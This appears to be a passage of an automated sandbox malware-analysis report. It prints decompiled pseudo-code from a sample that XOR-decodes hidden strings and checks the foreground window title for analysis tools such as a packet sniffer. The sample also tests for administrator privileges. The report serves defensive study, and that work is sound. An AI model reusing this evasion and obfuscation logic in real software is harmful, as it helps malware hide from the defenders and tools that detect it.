API ID: Init_thread_footer$Concurrency::cancel_current_taskCurrentProcessSleepTime$CreateExecuteFileIos_base_dtorShellSystemThreadUnothrow_t@std@@@___std_exception_copy__ehfuncinfo$??2@std::ios_base::_
String ID: D@$MFE.$ZK]Z
API String ID: 3757312541-2629744079
Opcode ID: 854b96dc1673eb9f39248b2d9a866c857c12611e09986af055269af1af8b36b3
Instruction ID: 064849696e65e3bba93a11e8c5a5417ab44cd7f5f829292c5af7ac4386323aa5
Opcode Fuzzy Hash: 854b96dc1673eb9f39248b2d9a866c857c12611e09986af055269af1af8b36b3
Instruction Fuzzy Hash: 0732E071A002488BDB24DF64D845BEEB7B0AB05308F1445BAE805773D3D779AE89CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00405F40 Relevance: 19.6, APIs: 7, Strings: 4, Instructions: 389
COMMONCrypto

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 75%

			E00405F40(void* __ebx, void* __edi) {
				long _v8;
				signed int _v12;
				char _v16;
				signed int _v20;
				void _v88;
				struct _SID_IDENTIFIER_AUTHORITY _v96;
				long _v100;
				void* _v104;
				void* _v108;
				char _v276;
				void* _v280;
				long _v284;
				char _v288;
				char _v292;
				char _v296;
				intOrPtr _v300;
				intOrPtr _v304;
				char _v305;
				long _v312;
				long _v316;
				long _v332;
				long* _v336;
				long _v340;
				long _v356;
				signed int _v380;
				short _v460;
				long _v464;
				void* _v472;
				void* __esi;
				void* __ebp;
				signed int _t98;
				signed int _t99;
				intOrPtr _t102;
				signed char _t103;
				signed char _t104;
				void* _t106;
				signed int _t107;
				intOrPtr _t109;
				signed char _t110;
				signed char _t111;
				void* _t113;
				intOrPtr _t114;
				signed char _t115;
				signed char _t116;
				void* _t118;
				struct HWND__* _t119;
				intOrPtr _t121;
				intOrPtr _t122;
				void* _t127;
				long _t128;
				signed int _t133;
				signed int _t137;
				signed int _t142;
				signed int _t146;
				int _t147;
				long _t152;
				intOrPtr _t156;
				signed char _t157;
				signed char _t158;
				void* _t163;
				void* _t169;
				void* _t191;
				signed int _t193;
				signed char* _t194;
				signed char* _t201;
				signed char* _t204;
				intOrPtr* _t208;
				long _t211;
				long _t216;
				signed char* _t217;
				long* _t222;
				signed char* _t224;
				void* _t225;
				signed char* _t226;
				signed char* _t227;
				intOrPtr _t229;
				void* _t230;
				void* _t232;
				signed int _t233;
				signed int _t234;
				void* _t235;
				void* _t236;
				long* _t237;
				long* _t238;
				long* _t239;
				long* _t240;
				long* _t241;
				long* _t242;
				signed int _t243;

				_t190 = __ebx;
				_push(0xffffffff);
				_push(E0042C687);
				_push( *[fs:0x0]);
				_t236 = _t235 - 0x154;
				_t98 =  *0x43d054; // 0x298e9dc2
				_t99 = _t98 ^ _t233;
				_v20 = _t99;
				_push(__ebx);
				_push(__edi);
				_push(_t99);
				 *[fs:0x0] =  &_v16;
				_v284 = 0;
				_v288 = 0x455d4f5a;
				_v284 = 0x2e5c4943;
				_t229 =  *((intOrPtr*)( *[fs:0x2c]));
				_t102 =  *0x450ebc; // 0x80000010
				if(_t102 >  *((intOrPtr*)(_t229 + 4))) {
					E0040EEC8(_t102, 0x450ebc);
					_t236 = _t236 + 4;
					_t252 =  *0x450ebc - 0xffffffff;
					if( *0x450ebc == 0xffffffff) {
						_t7 =  &_v288; // 0x455d4f5a
						_t8 =  &_v284; // 0x2e5c4943
						 *0x450d40 =  *_t7;
						 *0x450d44 =  *_t8;
						E0040F1DA( *_t8, _t252, E0042CF40);
						E0040EE7E(0x450ebc);
						_t236 = _t236 + 8;
					}
				}
				_t103 =  *0x450d47; // 0x0
				if(_t103 != 0) {
					 *0x450d40 =  *0x450d40 ^ 0x0000002e;
					 *0x450d41 =  *0x450d41 ^ 0x0000002e;
					 *0x450d42 =  *0x450d42 ^ 0x0000002e;
					 *0x450d43 =  *0x450d43 ^ 0x0000002e;
					 *0x450d44 =  *0x450d44 ^ 0x0000002e;
					 *0x450d45 =  *0x450d45 ^ 0x0000002e;
					 *0x450d46 =  *0x450d46 ^ 0x0000002e;
					 *0x450d47 = _t103 ^ 0x0000002e;
				}
				_t237 = _t236 - 0x18;
				_t194 = 0x450d40;
				_t222 = _t237;
				_t9 =  &(_t194[1]); // 0x450d41
				_t224 = _t9;
				 *_t222 = 0;
				_t222[4] = 0;
				_t222[5] = 0xf;
				asm("o16 nop [eax+eax]");
				do {
					_t104 =  *_t194;
					_t194 =  &(_t194[1]);
				} while (_t104 != 0);
				E004026C0(_t190, _t222, 0x450d40, _t194 - _t224); // executed
				_t106 = E00405350(_t190); // executed
				_t238 =  &(_t237[6]);
				if(_t106 != 0) {
					L56:
					_t107 = 1;
					goto L57;
				} else {
					_t109 =  *0x450fa0; // 0x80000011
					_v288 = 0x455d4f7a;
					_v284 = 0x2e5c4943;
					if(_t109 >  *((intOrPtr*)(_t229 + 4))) {
						E0040EEC8(_t109, 0x450fa0);
						_t238 =  &(_t238[1]);
						_t258 =  *0x450fa0 - 0xffffffff;
						if( *0x450fa0 == 0xffffffff) {
							_t15 =  &_v288; // 0x455d4f7a
							_t16 =  &_v284; // 0x2e5c4943
							 *0x450f6c =  *_t15;
							 *0x450f70 =  *_t16;
							E0040F1DA( *_t16, _t258, E0042CF30);
							E0040EE7E(0x450fa0);
							_t238 =  &(_t238[2]);
						}
					}
					_t110 =  *0x450f73; // 0x0
					if(_t110 != 0) {
						 *0x450f6c =  *0x450f6c ^ 0x0000002e;
						 *0x450f6d =  *0x450f6d ^ 0x0000002e;
						 *0x450f6e =  *0x450f6e ^ 0x0000002e;
						 *0x450f6f =  *0x450f6f ^ 0x0000002e;
						 *0x450f70 =  *0x450f70 ^ 0x0000002e;
						 *0x450f71 =  *0x450f71 ^ 0x0000002e;
						 *0x450f72 =  *0x450f72 ^ 0x0000002e;
						 *0x450f73 = _t110 ^ 0x0000002e;
					}
					_t239 = _t238 - 0x18;
					_t201 = 0x450f6c;
					_t222 = _t239;
					_t17 =  &(_t201[1]); // 0x450f6d
					_t226 = _t17;
					 *_t222 = 0;
					_t222[4] = 0;
					_t222[5] = 0xf;
					do {
						_t111 =  *_t201;
						_t201 =  &(_t201[1]);
					} while (_t111 != 0);
					_t203 = _t222;
					E004026C0(_t190, _t222, 0x450f6c, _t201 - _t226); // executed
					_t113 = E00405350(_t190); // executed
					_t240 =  &(_t239[6]);
					if(_t113 != 0) {
						goto L56;
					} else {
						_t114 =  *0x450f74; // 0x80000012
						_v288 = 0x4b5c4759;
						_v284 = 0x5c4f465d;
						_v280 = 0x2e45;
						if(_t114 >  *((intOrPtr*)(_t229 + 4))) {
							E0040EEC8(_t114, 0x450f74);
							_t240 =  &(_t240[1]);
							_t264 =  *0x450f74 - 0xffffffff;
							if( *0x450f74 == 0xffffffff) {
								asm("movq xmm0, [ebp-0x11c]");
								asm("movq [0x450d60], xmm0");
								 *0x450d68 = _v280;
								E0040F1DA(_t203, _t264, E0042CF10);
								E0040EE7E(0x450f74);
								_t240 =  &(_t240[2]);
							}
						}
						_t115 =  *0x450d69; // 0x0
						if(_t115 != 0) {
							 *0x450d60 =  *0x450d60 ^ 0x0000002e;
							 *0x450d61 =  *0x450d61 ^ 0x0000002e;
							 *0x450d62 =  *0x450d62 ^ 0x0000002e;
							 *0x450d63 =  *0x450d63 ^ 0x0000002e;
							 *0x450d64 =  *0x450d64 ^ 0x0000002e;
							 *0x450d65 =  *0x450d65 ^ 0x0000002e;
							 *0x450d66 =  *0x450d66 ^ 0x0000002e;
							 *0x450d67 =  *0x450d67 ^ 0x0000002e;
							 *0x450d68 =  *0x450d68 ^ 0x0000002e;
							 *0x450d69 = _t115 ^ 0x0000002e;
						}
						_t241 = _t240 - 0x18;
						_t204 = 0x450d60;
						_t222 = _t241;
						_t25 =  &(_t204[1]); // 0x450d61
						_t227 = _t25;
						 *_t222 = 0;
						_t222[4] = 0;
						_t222[5] = 0xf;
						do {
							_t116 =  *_t204;
							_t204 =  &(_t204[1]);
						} while (_t116 != 0);
						E004026C0(_t190, _t222, 0x450d60, _t204 - _t227); // executed
						_t118 = E00405350(_t190); // executed
						_t242 =  &(_t241[6]);
						if(_t118 != 0) {
							goto L56;
						} else {
							_t119 = GetForegroundWindow(); // executed
							if(_t119 == 0) {
								L55:
								_t107 = 0;
								goto L57;
							} else {
								GetWindowTextA(_t119,  &_v276, 0x100);
								_t121 =  *0x450f9c; // 0x80000013
								_v304 = 0x4d415c7e;
								_v300 = 0xe5d5d4b;
								_v296 = 0x454d4f66;
								_v292 = 0x5c4b;
								if(_t121 >  *((intOrPtr*)(_t229 + 4))) {
									E0040EEC8(_t121, 0x450f9c);
									_t242 =  &(_t242[1]);
									_t271 =  *0x450f9c - 0xffffffff;
									if( *0x450f9c == 0xffffffff) {
										_t34 =  &_v296; // 0x454d4f66
										asm("movq xmm0, [ebp-0x12c]");
										 *0x450f4c =  *_t34;
										_t35 =  &_v292; // 0x5c4b
										asm("movq [0x450f44], xmm0");
										 *0x450f50 =  *_t35;
										 *0x450f52 = 0x2e;
										E0040F1DA( &_v276, _t271, E0042CEE0);
										E0040EE7E(0x450f9c);
										_t242 =  &(_t242[2]);
									}
								}
								if( *0x450f52 != 0) {
									_t169 = 0;
									do {
										 *(_t169 + 0x450f44) =  *(_t169 + 0x450f44) ^ 0x0000002e;
										_t169 = _t169 + 1;
									} while (_t169 < 0xf);
								}
								_t208 = 0x450f44;
								_v356 = 0;
								_v340 = 0;
								_v336 = 0xf;
								_v356 = 0;
								_t42 = _t208 + 1; // 0x450f45
								_t222 = _t42;
								do {
									_t122 =  *_t208;
									_t208 = _t208 + 1;
								} while (_t122 != 0);
								E004026C0(0x2e,  &_v356, 0x450f44, _t208 - _t222);
								_v8 = 0;
								_t193 = 1;
								_v284 = 1;
								_t125 =  >=  ? _v356 :  &_v356;
								_t127 = E00410160( &_v276,  >=  ? _v356 :  &_v356);
								_t243 =  &(_t242[2]);
								if(_t127 != 0) {
									L42:
									_v305 = 1;
								} else {
									_t156 =  *0x450f40; // 0x80000014
									_v300 = 0x4b5c4779;
									_v296 = 0x5c4f465d;
									_v292 = 0x2e45;
									if(_t156 >  *((intOrPtr*)(_t229 + 4))) {
										E0040EEC8(_t156, 0x450f40);
										_t243 = _t243 + 4;
										_t279 =  *0x450f40 - 0xffffffff;
										if( *0x450f40 == 0xffffffff) {
											asm("movq xmm0, [ebp-0x128]");
											_t54 =  &_v292; // 0x2e45
											asm("movq [0x450fc8], xmm0");
											 *0x450fd0 =  *_t54;
											E0040F1DA( &_v356, _t279, E0042CEC0);
											E0040EE7E(0x450f40);
											_t243 = _t243 + 8;
										}
									}
									_t157 =  *0x450fd1; // 0x0
									if(_t157 != 0) {
										 *0x450fc8 =  *0x450fc8 ^ 0x0000002e;
										 *0x450fc9 =  *0x450fc9 ^ 0x0000002e;
										 *0x450fca =  *0x450fca ^ 0x0000002e;
										 *0x450fcb =  *0x450fcb ^ 0x0000002e;
										 *0x450fcc =  *0x450fcc ^ 0x0000002e;
										 *0x450fcd =  *0x450fcd ^ 0x0000002e;
										 *0x450fce =  *0x450fce ^ 0x0000002e;
										 *0x450fcf =  *0x450fcf ^ 0x0000002e;
										 *0x450fd0 =  *0x450fd0 ^ 0x0000002e;
										 *0x450fd1 = _t157 ^ 0x0000002e;
									}
									_t217 = 0x450fc8;
									_v332 = 0;
									_v316 = 0;
									_v312 = 0xf;
									_t58 =  &(_t217[1]); // 0x450fc9
									_t222 = _t58;
									do {
										_t158 =  *_t217;
										_t217 =  &(_t217[1]);
									} while (_t158 != 0);
									E004026C0(_t193,  &_v332, 0x450fc8, _t217 - _t222);
									_t193 = 3;
									_t161 =  >=  ? _v332 :  &_v332;
									_t163 = E00410160( &_v276,  >=  ? _v332 :  &_v332);
									_t243 = _t243 + 8;
									_v305 = 0;
									if(_t163 != 0) {
										goto L42;
									}
								}
								if((_t193 & 0x00000002) == 0) {
									L49:
									if((_t193 & 0x00000001) == 0) {
										L54:
										if(_v305 != 0) {
											goto L56;
										} else {
											goto L55;
										}
										L57:
										 *[fs:0x0] = _v16;
										_pop(_t225);
										_pop(_t230);
										_pop(_t191);
										return E0040EB3F(_t107, _t191, _v20 ^ _t233, _t222, _t225, _t230);
									} else {
										_t222 = _v336;
										if(_t222 < 0x10) {
											goto L54;
										} else {
											_t211 = _v356;
											_t222 =  &(_t222[0]);
											_t128 = _t211;
											if(_t222 < 0x1000) {
												L53:
												_push(_t222);
												E0040ED7F(_t211);
												goto L54;
											} else {
												_t211 =  *(_t211 - 4);
												_t222 =  &(_t222[8]);
												if(_t128 - _t211 + 0xfffffffc > 0x1f) {
													goto L58;
												} else {
													goto L53;
												}
											}
										}
									}
								} else {
									_t222 = _v312;
									_t193 = _t193 & 0xfffffffd;
									if(_t222 < 0x10) {
										L48:
										_v316 = 0;
										_v312 = 0xf;
										_v332 = 0;
										goto L49;
									} else {
										_t216 = _v332;
										_t222 =  &(_t222[0]);
										_t152 = _t216;
										if(_t222 < 0x1000) {
											L47:
											_push(_t222);
											E0040ED7F(_t216);
											_t243 = _t243 + 8;
											goto L48;
										} else {
											_t216 =  *(_t216 - 4);
											_t222 =  &(_t222[8]);
											if(_t152 - _t216 + 0xfffffffc > 0x1f) {
												L58:
												E004134A7(_t193, _t222, __eflags);
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												_push(_t233);
												_t234 = _t243;
												_t133 =  *0x43d054; // 0x298e9dc2
												_v380 = _t133 ^ _t234;
												_v464 = 0;
												_v460 = 0x500;
												_t137 = OpenProcessToken(GetCurrentProcess(), 8,  &_v472);
												__eflags = _t137;
												if(_t137 == 0) {
													L62:
													__eflags = _v12 ^ _t234;
													return E0040EB3F(0, _t193, _v12 ^ _t234, _t222, _t227, _t229);
												} else {
													_t142 = GetTokenInformation(_v104, "true",  &_v88, 0x4c,  &_v100); // executed
													_push(_v104);
													__eflags = _t142;
													if(_t142 != 0) {
														CloseHandle();
														_t146 = AllocateAndInitializeSid( &_v96, "true", 0x12, 0, 0, 0, 0, 0, 0, 0,  &_v108);
														__eflags = _t146;
														if(_t146 == 0) {
															goto L62;
														} else {
															_t147 = EqualSid(_v88, _v108);
															FreeSid(_v108);
															__eflags = _v12 ^ _t234;
															_t232 = _t229;
															return E0040EB3F(_t147, _t193, _v12 ^ _t234, _t222, _t227, _t232);
														}
													} else {
														CloseHandle();
														goto L62;
													}
												}
											} else {
												goto L47;
											}
										}
									}
								}
							}
						}
					}
				}
			}

0x00405f40
0x00405f43
0x00405f45
0x00405f50
0x00405f51
0x00405f57
0x00405f5c
0x00405f5e
0x00405f61
0x00405f63
0x00405f64
0x00405f68
0x00405f6e
0x00405f7e
0x00405f88
0x00405f92
0x00405f94
0x00405f9f
0x00405fa6
0x00405fab
0x00405fae
0x00405fb5
0x00405fb7
0x00405fbd
0x00405fc8
0x00405fcd
0x00405fd3
0x00405fe0
0x00405fe5
0x00405fe5
0x00405fb5
0x00405fe8
0x00405fef
0x00405ff1
0x00405ff8
0x00405fff
0x00406006
0x0040600d
0x00406014
0x0040601b
0x00406024
0x00406024
0x00406029
0x0040602c
0x00406031
0x00406033
0x00406033
0x00406036
0x0040603c
0x00406043
0x0040604a
0x00406050
0x00406050
0x00406052
0x00406053
0x00406061
0x00406066
0x0040606b
0x00406070
0x004065ae
0x004065ae
0x00000000
0x00406076
0x00406076
0x0040607b
0x00406085
0x00406095
0x0040609c
0x004060a1
0x004060a4
0x004060ab
0x004060ad
0x004060b3
0x004060be
0x004060c3
0x004060c9
0x004060d6
0x004060db
0x004060db
0x004060ab
0x004060de
0x004060e5
0x004060e7
0x004060ee
0x004060f5
0x004060fc
0x00406103
0x0040610a
0x00406111
0x0040611a
0x0040611a
0x0040611f
0x00406122
0x00406127
0x00406129
0x00406129
0x0040612c
0x00406132
0x00406139
0x00406140
0x00406140
0x00406142
0x00406143
0x0040614f
0x00406151
0x00406156
0x0040615b
0x00406160
0x00000000
0x00406166
0x00406166
0x0040616b
0x00406175
0x0040617f
0x0040618e
0x00406195
0x0040619a
0x0040619d
0x004061a4
0x004061a6
0x004061ba
0x004061c2
0x004061c8
0x004061d5
0x004061da
0x004061da
0x004061a4
0x004061dd
0x004061e4
0x004061e6
0x004061ed
0x004061f4
0x004061fb
0x00406202
0x00406209
0x00406210
0x00406217
0x0040621e
0x00406227
0x00406227
0x0040622c
0x0040622f
0x00406234
0x00406236
0x00406236
0x00406239
0x0040623f
0x00406246
0x00406250
0x00406250
0x00406252
0x00406253
0x00406261
0x00406266
0x0040626b
0x00406270
0x00000000
0x00406276
0x00406276
0x0040627e
0x004065aa
0x004065aa
0x00000000
0x00406284
0x00406291
0x00406297
0x0040629e
0x004062a8
0x004062b2
0x004062bc
0x004062cb
0x004062d2
0x004062d7
0x004062da
0x004062e1
0x004062e3
0x004062e9
0x004062f1
0x004062f6
0x00406302
0x0040630a
0x00406310
0x00406316
0x00406323
0x00406328
0x00406328
0x004062e1
0x00406332
0x00406334
0x00406336
0x00406336
0x0040633c
0x0040633d
0x00406336
0x00406342
0x00406347
0x00406351
0x0040635b
0x00406365
0x0040636c
0x0040636c
0x00406370
0x00406370
0x00406372
0x00406373
0x00406385
0x0040638a
0x0040639e
0x004063a3
0x004063a9
0x004063b8
0x004063bd
0x004063c2
0x00406502
0x00406502
0x004063c8
0x004063c8
0x004063cd
0x004063d7
0x004063e1
0x004063f0
0x004063f7
0x004063fc
0x004063ff
0x00406406
0x00406408
0x00406410
0x0040641c
0x00406424
0x0040642a
0x00406437
0x0040643c
0x0040643c
0x00406406
0x0040643f
0x00406446
0x00406448
0x0040644f
0x00406456
0x0040645d
0x00406464
0x0040646b
0x00406472
0x00406479
0x00406480
0x00406489
0x00406489
0x0040648e
0x00406493
0x0040649d
0x004064a7
0x004064b1
0x004064b1
0x004064b4
0x004064b4
0x004064b6
0x004064b7
0x004064c9
0x004064db
0x004064e0
0x004064ef
0x004064f4
0x004064f7
0x00406500
0x00000000
0x00000000
0x00406500
0x0040650c
0x00406566
0x00406569
0x004065a1
0x004065a8
0x00000000
0x00000000
0x00000000
0x00000000
0x004065b0
0x004065b3
0x004065bb
0x004065bc
0x004065bd
0x004065cb
0x0040656b
0x0040656b
0x00406574
0x00000000
0x00406576
0x00406576
0x0040657c
0x0040657d
0x00406585
0x00406597
0x00406597
0x00406599
0x00000000
0x00406587
0x00406587
0x0040658a
0x00406595
0x00000000
0x00000000
0x00000000
0x00000000
0x00406595
0x00406585
0x00406574
0x0040650e
0x0040650e
0x00406514
0x0040651a
0x0040654b
0x0040654b
0x00406555
0x0040655f
0x00000000
0x0040651c
0x0040651c
0x00406522
0x00406523
0x0040652b
0x00406541
0x00406541
0x00406543
0x00406548
0x00000000
0x0040652d
0x0040652d
0x00406530
0x0040653b
0x004065cc
0x004065cc
0x004065d1
0x004065d2
0x004065d3
0x004065d4
0x004065d5
0x004065d6
0x004065d7
0x004065d8
0x004065d9
0x004065da
0x004065db
0x004065dc
0x004065dd
0x004065de
0x004065df
0x004065e0
0x004065e1
0x004065e6
0x004065ed
0x004065f3
0x004065fd
0x0040660a
0x00406610
0x00406612
0x00406636
0x0040663b
0x00406645
0x00406614
0x00406623
0x00406629
0x0040662c
0x0040662e
0x00406646
0x00406666
0x0040666c
0x0040666e
0x00000000
0x00406670
0x00406677
0x00406682
0x0040668d
0x0040668f
0x00406698
0x00406698
0x00406630
0x00406630
0x00000000
0x00406630
0x0040662e
0x00000000
0x00000000
0x00000000
0x0040653b
0x0040652b
0x0040651a
0x0040650c
0x0040627e
0x00406270
0x00406160

APIs

__Init_thread_footer.LIBCMT ref: 00405FE0

Part of subcall function 0040EE7E: EnterCriticalSection.KERNEL32(004504FC,?,?,0040643C,00450F40,?,?,00450F44,00450F45), ref: 0040EE88
Part of subcall function 0040EE7E: LeaveCriticalSection.KERNEL32(004504FC,?,?,0040643C,00450F40,?,?,00450F44,00450F45), ref: 0040EEBB
Part of subcall function 0040EE7E: RtlWakeAllConditionVariable.NTDLL ref: 0040EF32

__Init_thread_footer.LIBCMT ref: 004061D5
GetForegroundWindow.USER32 ref: 00406276
GetWindowTextA.USER32 ref: 00406291
__Init_thread_footer.LIBCMT ref: 00406323
__Init_thread_footer.LIBCMT ref: 004060D6

Part of subcall function 0040EEC8: EnterCriticalSection.KERNEL32(004504FC,00450D61,?,?,004063FC,00450F40,00450F44,00450F45), ref: 0040EED3
Part of subcall function 0040EEC8: LeaveCriticalSection.KERNEL32(004504FC,?,?,004063FC,00450F40,00450F44,00450F45), ref: 0040EF10

__Init_thread_footer.LIBCMT ref: 00406437

Strings

E., xrefs: 0040617F
yG\K, xrefs: 004063CD
~\AM, xrefs: 0040629E
fOMEK\YG\K]FO\E., xrefs: 004062E3

Memory Dump Source

Source File: 00000002.00000002.442855707.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.442855707.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Rec528.jbxd

Yara matches

Similarity

API ID: Init_thread_footer$CriticalSection$EnterLeaveWindow$ConditionForegroundTextVariableWake
String ID: E.$fOMEK\YG\K]FO\E.$yG\K$~\AM
API String ID: 1590647277-3754284071
Opcode ID: 37792c147cc87062c45f1b091b1bedf532a8e0981eb71191bb49d22d98c99bc2
Instruction ID: 3d9235338341bdb2505a9341eec423b45f29305e3118e9ff7ef5adf2af52ebc3
Opcode Fuzzy Hash: 37792c147cc87062c45f1b091b1bedf532a8e0981eb71191bb49d22d98c99bc2
Instruction Fuzzy Hash: 26F109799003848ADB34DB34EC457AA7B70AB05319F1401FED8452A2D3D7F99A99CB8D

Uniqueness

Uniqueness Score: -1.00%

Function 00406AA0 Relevance: 18.8, APIs: 6, Strings: 4, Instructions: 1318
COMMONCrypto

Download Yara Rule

C-Code - Quality: 86%

			E00406AA0(void* __ebx, long __ecx, void* __edi, void* __esi, void* __eflags) {
				char _v8;
				signed char _v16;
				char _v20;
				signed int _v24;
				short _v28;
				signed int _v32;
				char _v56;
				char _v80;
				char _v104;
				char _v300;
				signed char _v304;
				signed char _v308;
				intOrPtr _v312;
				intOrPtr _v316;
				signed char _v324;
				long _v328;
				signed char _v332;
				char _v348;
				long _v352;
				signed char _v356;
				char _v372;
				long _v376;
				signed char _v380;
				signed char _v396;
				char _v400;
				char _v401;
				long _v408;
				signed char _v412;
				signed char _v428;
				long _v432;
				signed char _v436;
				signed char _v452;
				long _v456;
				signed char _v460;
				char _v476;
				signed char _v496;
				char _v504;
				signed int _v508;
				char _v760;
				char _v1088;
				signed char _v1092;
				intOrPtr _v1096;
				signed int _v1100;
				intOrPtr _v1104;
				char _v1128;
				char _v1152;
				char _v1176;
				char _v1200;
				char _v1224;
				char _v1248;
				char _v1272;
				signed int _v1724;
				short _v1728;
				intOrPtr _v1732;
				intOrPtr _v1736;
				void* __ebp;
				signed int _t794;
				signed int _t795;
				void* _t797;
				signed int _t799;
				intOrPtr _t803;
				signed char _t804;
				signed int _t805;
				char* _t809;
				void* _t811;
				signed int _t817;
				intOrPtr _t818;
				signed int _t819;
				char* _t823;
				void* _t825;
				signed int _t831;
				intOrPtr _t832;
				signed char _t833;
				signed int _t834;
				char* _t838;
				void* _t840;
				signed int _t846;
				void* _t853;
				char* _t854;
				intOrPtr _t861;
				signed int _t868;
				signed int _t869;
				signed int _t871;
				void* _t875;
				void* _t878;
				void* _t880;
				void* _t881;
				void* _t882;
				void* _t883;
				void* _t884;
				void* _t893;
				signed int _t894;
				signed int _t897;
				signed int _t903;
				void* _t909;
				void* _t910;
				signed int _t912;
				void* _t917;
				void* _t921;
				void* _t922;
				signed int _t924;
				signed int _t928;
				intOrPtr _t931;
				void* _t940;
				signed char _t943;
				char* _t947;
				intOrPtr _t948;
				signed char _t952;
				signed int _t955;
				signed int _t957;
				char _t961;
				signed char _t962;
				signed char _t966;
				intOrPtr _t970;
				signed int _t977;
				void* _t982;
				char* _t983;
				signed char _t987;
				intOrPtr _t991;
				intOrPtr _t995;
				signed char _t999;
				intOrPtr _t1003;
				char _t1008;
				signed char _t1009;
				signed char _t1013;
				intOrPtr _t1017;
				signed int _t1024;
				void* _t1031;
				char* _t1032;
				intOrPtr _t1036;
				intOrPtr _t1040;
				signed char _t1044;
				intOrPtr _t1048;
				char _t1053;
				signed char _t1054;
				signed char _t1058;
				intOrPtr _t1062;
				char* _t1074;
				signed int _t1076;
				signed int _t1079;
				void* _t1082;
				void* _t1083;
				void* _t1089;
				intOrPtr _t1091;
				signed char _t1092;
				signed int _t1093;
				char* _t1097;
				void* _t1099;
				signed int _t1105;
				intOrPtr _t1106;
				signed int _t1107;
				char* _t1111;
				void* _t1113;
				signed int _t1119;
				intOrPtr _t1120;
				signed char _t1121;
				signed int _t1122;
				char* _t1126;
				void* _t1128;
				signed int _t1134;
				intOrPtr _t1135;
				intOrPtr _t1139;
				void* _t1143;
				char* _t1144;
				intOrPtr _t1148;
				intOrPtr _t1152;
				signed char _t1156;
				intOrPtr _t1160;
				char _t1165;
				signed char _t1166;
				signed char _t1170;
				intOrPtr _t1174;
				signed int _t1181;
				void* _t1186;
				char* _t1187;
				intOrPtr _t1191;
				intOrPtr _t1194;
				signed char _t1198;
				intOrPtr _t1202;
				char _t1207;
				signed char _t1208;
				signed char _t1212;
				intOrPtr _t1216;
				signed int _t1223;
				void* _t1230;
				char* _t1231;
				intOrPtr _t1235;
				intOrPtr _t1238;
				signed char _t1242;
				signed char _t1246;
				char _t1251;
				signed char _t1252;
				signed char _t1256;
				signed char _t1260;
				void* _t1272;
				char* _t1273;
				intOrPtr _t1277;
				intOrPtr _t1280;
				signed char _t1284;
				signed char _t1288;
				char _t1293;
				intOrPtr _t1294;
				signed char _t1299;
				intOrPtr _t1303;
				void* _t1306;
				intOrPtr* _t1315;
				signed char _t1318;
				void* _t1323;
				intOrPtr* _t1324;
				signed char _t1327;
				void* _t1332;
				signed char* _t1333;
				signed char _t1336;
				void* _t1341;
				char* _t1353;
				long _t1404;
				signed int _t1422;
				signed char _t1424;
				signed char _t1425;
				char _t1426;
				char* _t1431;
				signed char _t1432;
				char _t1433;
				char _t1434;
				signed char _t1435;
				char _t1436;
				signed char _t1437;
				signed char _t1438;
				char _t1439;
				char* _t1443;
				char _t1444;
				char _t1445;
				signed char _t1446;
				char _t1447;
				signed char _t1448;
				signed char _t1449;
				char _t1450;
				intOrPtr* _t1451;
				signed int _t1452;
				char* _t1456;
				void* _t1462;
				intOrPtr* _t1463;
				signed char _t1466;
				void* _t1471;
				intOrPtr* _t1472;
				signed char _t1475;
				void* _t1480;
				signed char* _t1481;
				signed char _t1484;
				void* _t1489;
				char _t1490;
				char _t1491;
				char* _t1495;
				char _t1496;
				char _t1497;
				signed char _t1498;
				char _t1499;
				signed char _t1500;
				signed char _t1501;
				char _t1502;
				char* _t1507;
				char _t1508;
				signed char _t1509;
				intOrPtr _t1510;
				signed char _t1511;
				signed char _t1512;
				intOrPtr _t1513;
				char* _t1517;
				char _t1518;
				signed char _t1519;
				signed char _t1520;
				signed char _t1521;
				signed char _t1522;
				signed char _t1523;
				char* _t1527;
				intOrPtr _t1528;
				signed char _t1529;
				signed char _t1530;
				intOrPtr _t1531;
				signed char _t1532;
				intOrPtr* _t1533;
				void* _t1537;
				long _t1538;
				long _t1540;
				long _t1541;
				long _t1542;
				void* _t1543;
				long _t1544;
				long _t1546;
				long _t1547;
				long _t1548;
				signed char* _t1549;
				long _t1550;
				long _t1552;
				long _t1553;
				signed char _t1557;
				void* _t1576;
				void* _t1577;
				signed char _t1580;
				long _t1581;
				long _t1582;
				long _t1583;
				long _t1584;
				void* _t1585;
				void* _t1586;
				void* _t1587;
				void* _t1588;
				void* _t1589;
				void* _t1590;
				signed char _t1593;
				long _t1594;
				long _t1595;
				long _t1596;
				long _t1597;
				void* _t1598;
				void* _t1599;
				void* _t1600;
				void* _t1601;
				void* _t1602;
				void* _t1603;
				intOrPtr* _t1604;
				long _t1609;
				long _t1610;
				void* _t1611;
				signed char _t1612;
				long _t1614;
				long _t1615;
				signed char _t1616;
				void* _t1617;
				long _t1618;
				long _t1620;
				long _t1621;
				long _t1622;
				signed char* _t1623;
				long _t1624;
				long _t1626;
				long _t1627;
				long _t1628;
				long _t1629;
				void* _t1630;
				signed char _t1633;
				long _t1634;
				long _t1635;
				long _t1636;
				long _t1637;
				void* _t1638;
				void* _t1639;
				void* _t1640;
				void* _t1641;
				void* _t1642;
				void* _t1643;
				signed char _t1646;
				long _t1647;
				long _t1648;
				long _t1649;
				long _t1650;
				void* _t1651;
				void* _t1652;
				void* _t1653;
				void* _t1654;
				void* _t1655;
				signed char _t1658;
				long _t1659;
				long _t1660;
				long _t1661;
				long _t1662;
				void* _t1663;
				void* _t1664;
				void* _t1665;
				void* _t1666;
				void* _t1667;
				signed char _t1670;
				long _t1671;
				long _t1672;
				long _t1673;
				long _t1674;
				void* _t1675;
				void* _t1676;
				void* _t1677;
				void* _t1678;
				void* _t1679;
				long _t1681;
				void* _t1682;
				long _t1686;
				void* _t1687;
				signed int _t1690;
				signed int _t1696;
				signed int _t1698;
				signed int _t1699;
				void* _t1701;
				signed int _t1704;
				void* _t1705;
				void* _t1706;
				signed char _t1707;
				void* _t1708;
				void* _t1709;
				void* _t1710;
				signed char _t1711;
				void* _t1712;
				void* _t1713;
				signed int _t1714;
				signed char _t1715;
				void* _t1716;
				void* _t1717;
				void* _t1722;
				void* _t1728;
				void* _t1729;
				signed int _t1730;
				void* _t1736;
